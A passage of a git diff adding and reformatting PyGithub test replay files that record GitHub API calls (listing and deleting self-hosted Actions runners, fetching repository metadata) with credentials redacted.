f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} + +https +DELETE +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runners/1798 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:56 GMT'), ('Status', '204 No Content'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4885'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '115'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C34F:313C:A3419C:167BC1A:5F56AF3B')] + + +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runners +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"319e363a509450940f067a0664f144b4"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4884'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '116'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C38C:52FF:2A3EFA8:47A5772:5F56AF3C')] +{"total_count":17,"runners":[{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} + +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runners?per_page=1 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:07:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e95d50aa8334be2e422c2ffe9614df24"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4883'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '117'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C38D:56EB:2F1A367:4E3245A:5F56AF3C')] +{"total_count":17,"runners":[{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} diff --git a/tests/ReplayData/PullRequest1684.testGetRunners.txt b/tests/ReplayData/PullRequest1684.testGetRunners.txt index 3792bbd231..0c972ab00c 100644 --- a/tests/ReplayData/PullRequest1684.testGetRunners.txt +++ b/tests/ReplayData/PullRequest1684.testGetRunners.txt @@ -1,22 +1,21 @@ -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runners?per_page=1 -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:00:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f719fd52573a6ceae6b407d9acf8e535"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4921'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '79'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17C:0153:2C225EA:4BCDC9A:5F56AD8F')] -{"total_count":19,"runners":[{"id":1363,"name":"0D80B14DC506","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]}]} - -https -GET -api.github.com -None -/repos/ReDASers/Phishing-Detection/actions/runners -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:00:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"350cc5b181e4368b7aa3827a5e068520"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4920'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '80'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17D:5B42:2F23310:4DDF057:5F56AD8F')] -{"total_count":19,"runners":[{"id":1363,"name":"0D80B14DC506","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} - +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runners?per_page=1 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:00:47 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f719fd52573a6ceae6b407d9acf8e535"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4921'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '79'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17C:0153:2C225EA:4BCDC9A:5F56AD8F')] +{"total_count":19,"runners":[{"id":1363,"name":"0D80B14DC506","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]}]} + +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runners +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:00:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"350cc5b181e4368b7aa3827a5e068520"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4920'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '80'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C17D:5B42:2F23310:4DDF057:5F56AD8F')] +{"total_count":19,"runners":[{"id":1363,"name":"0D80B14DC506","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":1798,"name":"9d2952aef5aa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2277,"name":"88ADCADD92D4","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2278,"name":"093907886ea1","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2279,"name":"8d76e65a5af4","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2280,"name":"E0104B7E46E6","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2285,"name":"D32B478DA550","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2286,"name":"e57f9c9428a3","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2287,"name":"47f2935f82dc","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2288,"name":"99BCE43F51C7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2305,"name":"D9DB5B61EA8C","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2306,"name":"3C1625B27C15","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2307,"name":"7df000e59323","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2308,"name":"b0c40e8673fa","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2333,"name":"87F7ACAF675F","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2334,"name":"EAC26A0279E7","os":"windows","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":2,"name":"Windows","type":"read-only"},{"id":3,"name":"X64","type":"read-only"}]},{"id":2335,"name":"9937690d9454","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]},{"id":2336,"name":"2a252d515d8f","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]}]} diff --git a/tests/ReplayData/PullRequest2408.setUp.txt b/tests/ReplayData/PullRequest2408.setUp.txt new file mode 100644 index 0000000000..2dc2f80afe --- /dev/null +++ b/tests/ReplayData/PullRequest2408.setUp.txt @@ -0,0 +1,21 @@ +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +301 +[('Server', 'GitHub.com'), ('Date', 'Mon, 30 Jan 2023 20:44:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '150'), ('Location', 'https://api.github.com/repositories/146139403'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '59'), ('X-RateLimit-Reset', '1675115093'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'B04C:123BD:55D24:574C4:63D82C45')] +{"message":"Moved Permanently","url":"https://api.github.com/repositories/146139403","documentation_url":"https://docs.github.com/v3/#http-redirects"} + +https +GET +api.github.com +None +/repositories/146139403 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 30 Jan 2023 20:44:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ce5870ecf2f9b97e99aa263b585eee9ed22b5010a57c755a90a2eb0258e670c"'), ('Last-Modified', 'Tue, 13 Dec 2022 03:10:13 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '58'), ('X-RateLimit-Reset', '1675115093'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B058:16C1:584C3:59D28:63D82C45')] +{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. 